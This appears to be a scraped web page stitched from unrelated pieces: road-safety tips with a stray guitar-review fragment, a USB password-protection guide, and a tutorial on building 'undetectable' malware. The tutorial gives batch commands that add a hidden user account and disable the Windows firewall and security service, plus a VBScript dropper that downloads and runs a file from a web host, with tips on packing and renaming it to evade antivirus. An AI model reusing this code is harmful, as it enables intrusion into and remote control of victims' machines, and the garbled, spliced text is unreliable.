Recommendations For Highway Safety flashdriveterrorism

One of the problems regarding discussing road safety is that you will not find many drivers who will admit to their own faults. You here drivers whine all the time about how bad other drivers are but do not think if they drive safely themselves. There are many benefits to driving in a conscientious way and these include avoiding physical harm and keeping the cost of your car insurance down. Here are some basic tips to check out that can help keep you accident free on the road.

Your first two key elements that contribute to accidents on the road are speed and distance. If we start with speed, the fact that when you drive too fast you are more likely to come to grief, is fairly obvious. Nevertheless whenever you speed without any caution, then you can put people in serious danger. You’ll notice clearly appropriate speeds that we need to conform to but often drivers fail to adapt based on where they are driving and the actual conditions of the day. As an example, on a nice sunny day on a vacant road, cruising at a fairly high speed can be enjoyable and pretty safe. However, weather circumstances such as rain, snow and fog can drastically change the speed at which it is safe to go.

If we are aware that driving too fast is based on the conditions on the road, then what about distance? There are guidelines in place that state how much distance we need to keep between ourselves and the car in front and yet you see so many drivers who seem drawn to the rear of the vehicle before them. This situation occurs when people are rushing to get somewhere. There’s a misconception that tailgating the vehicle in front of you will get you anyplace faster. It is incorrect to imagine that the unanticipated won’t happen to you, so what you need to consider is if the car in front has a blow out, are you in a position to stop safely.

The condition of your car can be easily forgotten or overlooked. Performing routine car maintenance is an important part of car safety. Guild F-50 Standard Acoustic Guitar Review,, and Right here, right now! Getting the tires and brakes in great shape will insure safe driving during dangerous road conditions. The money necessary for car maintenance can be a hassle for some but it is worth budgeting for this as it is not only your own safety but that of your family and other road users that is at risk.

If everybody drives very carefully and considerately, then everyone is going to have a safe driving experience. The most important thing is to get to the place you need to go safely. It is very important that you focus your attention on your driving and cut down on distractions such as eating on the go or endeavoring to read something casually. You will avoid serious accidents on the highway if you follow these tips.

How To Password Protect USB Drive Using 3 Simple Ways

How To Password Protect USB Drive: 3 Easy Ways

We are now in the age when everything around us gets smaller, more compact, portable and easily transferrable. At the forefront is a USB (Universal Serial Bus) thumb drive. It is a small and portable storage device which is compatible with almost every technological device or gadget known to man. As its name implies, it’s universal and can be used with practically any device with USB ports. With these features, it’s easily the top choice for many. It comes in variety of shapes and sizes. Due to its compact size, one can easily lose or misplace it. It’s very risky especially if it contains sensitive and confidential data.

That’s where a call for data protection and security come to play. Needless to say, it’s imperative to protect your data and its storage. Commonly, putting a password to your USB drive is the way to go. But it’s not as easy as it sounds. It’s not like creating a password for your Facebook Account.

Password protecting or encrypting your USB drives entails the use of various tools, unless you want to go an easier route and shell out a few dollars then buy a secure flash drive with hardware encryption.

How To Password Protect USB Drive?

As discussed earlier, the surest way to protect your data is through encryption. But it costs a few extra dollars, so an alternate is to put a password on your files instead. Especially, if you don’t intend to password protect the entire USB drive, you may also want to sort your files from sensitive which need protection and those that are not.

Manually Save Files With a Password

As mentioned above, you can’t safely password protect your entire USB stick without using encryption. However, if you shy away from the time consuming encryption process of entire folders and need a really quick way to only protect a few selected files, maybe you can simply save those with a USB password.

Windows programs like MS Word and Excel provide an option to save your work with a password.

In MS Word, you need to go Tools > Options and Security tab. It will let you key in your preferred Password which will be used to open such file. See image below.

Many programs, including Word and Excel, allow you to save files with a password. For example in Word, while the document is open, go to > Tools > Options and switch to the Security tab. Now enter a Password to open, click OK, re-enter the password when asked, and finally save your document and don’t forget the password.

Create An Encrypted & Password Protected Partition With Rohos Mini Drive:

Various encryption tools abound. However, most of them require Administrator rights to install and use them. An example of this is TrueCrypt, this may not appeal to users who do not have administrator rights. Rohos Mini Drive, on the other hand, does away with requiring users to have Administrator rights. Its free version can be used to create a hidden and password protected partition of up to 2GB in your USB drive. It utilizes automatic on-the-fly encryption with AES 256 bit key length. It’s easy to use feature lets users encrypt their USB drives and use it to any device.

Rohos Mini Drive, You can access it via Rohos Mini.exe icon from the root folder. You just have to key in your password and instantly Rohos disk will be mounted and accessible via your Computer. To disconnect your encrypted USB drive, just right-click the Rohos icon from the Windows taskbar notification area and select Disconnect.

Lock Your Flash Drive with USB Safeguard:

Aside from Rohos Mini Drive, there’s another popular USB encryption for Password Protect USB Drive, choice which is called USB Safeguard. It is described as your friendly portable app that runs directly from your flash drive which doesn’t require Administrator rights to use. It utilizes on-the-fly AES 256 bit encryption. However, its storage capacity is limited only to 2GB for free version.

Get it by downloading the app usbsafeguard.exe and save it to your USB flash drive. You will be prompted for a password when running it the first time. That password will be used when accessing your USB drive so, better keep that in mind. It’s simple and very self-explanatory, unlock it when in use and then lock it when done with it. Refer to the image below.

How to Create a New Undetectable Virus in 3 Easy Steps

This article will demonstrate how an average PC user can create a piece of malicious software in minutes that will be undetected by all the major anti-malware scanning engines.

This article is for informational purposes only and the author disclaims any responsibility for your use or misuse of any of the information contained herein.

It is well-known in blackhat circles that a new piece of malware, coded from scratch, will almost always bypass signature-based malware scanners. What is less known is that the skill needed to do this is minimal at best – an average user with no programming experience can cut and paste a few lines of code together and create a undetected malicious executable in 3 easy steps.

Most anti-virus scanners rely on a database of signatures for known viruses. Once a new virus is spread wide enough that it has been identified as malicious, the anti-virus vendors scramble to come up with a fingerprint to identify that strain of malware in the future. The obvious flaw in this process is that a new piece of malware will bypass the scanners by default, until it is widespread enough to be noticed by security researchers or picked up by a dummy node. There is always a window of opportunity for new malware between the time of deployment and the update of the signature databases and as recent malware trends demonstrate, this window is large enough to make a profit for the authors.

Roll-your-own undetected malware in 3 easy steps!

Step 1: Commands to execute

Here we compile the DOS commands that our malware will execute into a DOS batch file. As a simple proof of concept, let’s add a new user, disable the XP firewall, and create a directory on the C drive.

@echo off
net user hacksafe hacksafe /add
net stop “Security Center”
net stop SharedAccess
netsh firewall set opmode mode=disable
mkdir c:\haxed

Save the above as a filename.bat

Step 2: Compile to an executable

Experienced DOS users may remember a number of utilities that were able to convert a batch file into an executable (com or exe). These tools basically wrap a shell call around each of our commands and bundle the whole thing up into a tiny .exe file. One of the most well known is BAT2EXEC released by PC Magazine in 1990.

Our tiny executable COM file is ready to go.

Step 3: Test and Deploy

We now have a custom executable that runs some obvoiusly malicious commands: disabling the firewall and adding a new user. If we were to email this file to a target, surely any modern anti-virus scanner would pick this up as a simple batch file and alert us to the malicious code… right?

No patterns exist for this new piece of malware – it’s unrecognised by signature-based scanners. Heuristics and sandboxing may alert to suspicious activity, or email filtering may prevent our executable from reaching the target, but the primary mechanism of anti-malware protection has been defeated in a matter of seconds with little knowledge or skill on the part of the attacker. If the target user were to run our executable, the only indication of malicious activity would be a command prompt quickly appearing and disappearing on the desktop.

Step 4 (Optional):

A typical malware author would take the created executable and mangle it in various ways to make it harder to detect – using tools such as encrypters, packers, scramblers and EXE binders. The malicious code may be bundled with a legitimate executable, or packed with a rootkit or other remote access utility. For more information on how malware authors avoid detection, check out our article on packers and scramblers.

Example: Creating a simple dropper

A dropper is a small piece of malware designed to “drop” another peice of malware onto a system. It usually comes in the form of a simple executable that, when executed, retrieves a file from a hardcoded web or ftp site and executes it (usually a rootkit or botnet suite).

As a proof of concept, we can create a simple dropper using VBscript in a batch file that pulls down a copy of netcat from the Hacksafe site and executes it:

echo Dim DataBin >hacksafe.vbs
echo Dim HTTPGET >>hacksafe.vbs
echo Set HTTPGET = CreateObject(”Microsoft.XMLHTTP”) >>hacksafe.vbs
echo HTTPGET.Open “GET”, ““, False>>hacksafe.vbs
echo HTTPGET.Send >>hacksafe.vbs
echo DataBin = HTTPGET.ResponseBody >>hacksafe.vbs
echo Const adTypeBinary=1 >>hacksafe.vbs
echo Const adSaveCreateOverWrite=2 >>hacksafe.vbs
echo Dim test1 >>hacksafe.vbs
echo Set test1 = CreateObject(”ADODB.Stream”) >>hacksafe.vbs
echo test1.Type = adTypeBinary >>hacksafe.vbs
echo test1.Open >>hacksafe.vbs
echo test1.Write DataBin >>hacksafe.vbs
echo test1.SaveToFile “malware.exe”, adSaveCreateOverWrite >>hacksafe.vbs
malware.exe -h

We compile using one of the many bat conversion utilities – Bat-to-Exe Converter 1.1. (This utility packs the output file using UPX, which may cause some anti-virus scanners to flag the file as potentially suspicious).

After creating our simple dropper.exe we submit it for scan:

Nothing found. It would be trivial to include the firewall disable command from the previous example and configure a netcat command line to listen on an incoming port and spawn a command shell. A new, undetected yet incredibly simple and obvious, remote access trojan!

It is hoped that this article serves to demonstrate the fundamental flaw of signature-based malware detection systems.

Some additional points to consider:

A .COM file under 64kb can be renamed to an .EXE (or .scr, or .lnk, etc) and will still execute.

Heuristics and behaviour analysis may detect malicious activity.

The examples above assume XP sp2 and the user has local admin privileges.

Many bat2exe utilities use a packer or scrambler that is recognised by signatures.

Anyone with programming experience can see that the above can be achieved using execve(), system().

This is old, old news. People were hacking BBS’s using BAT2EXE in the early 90’s!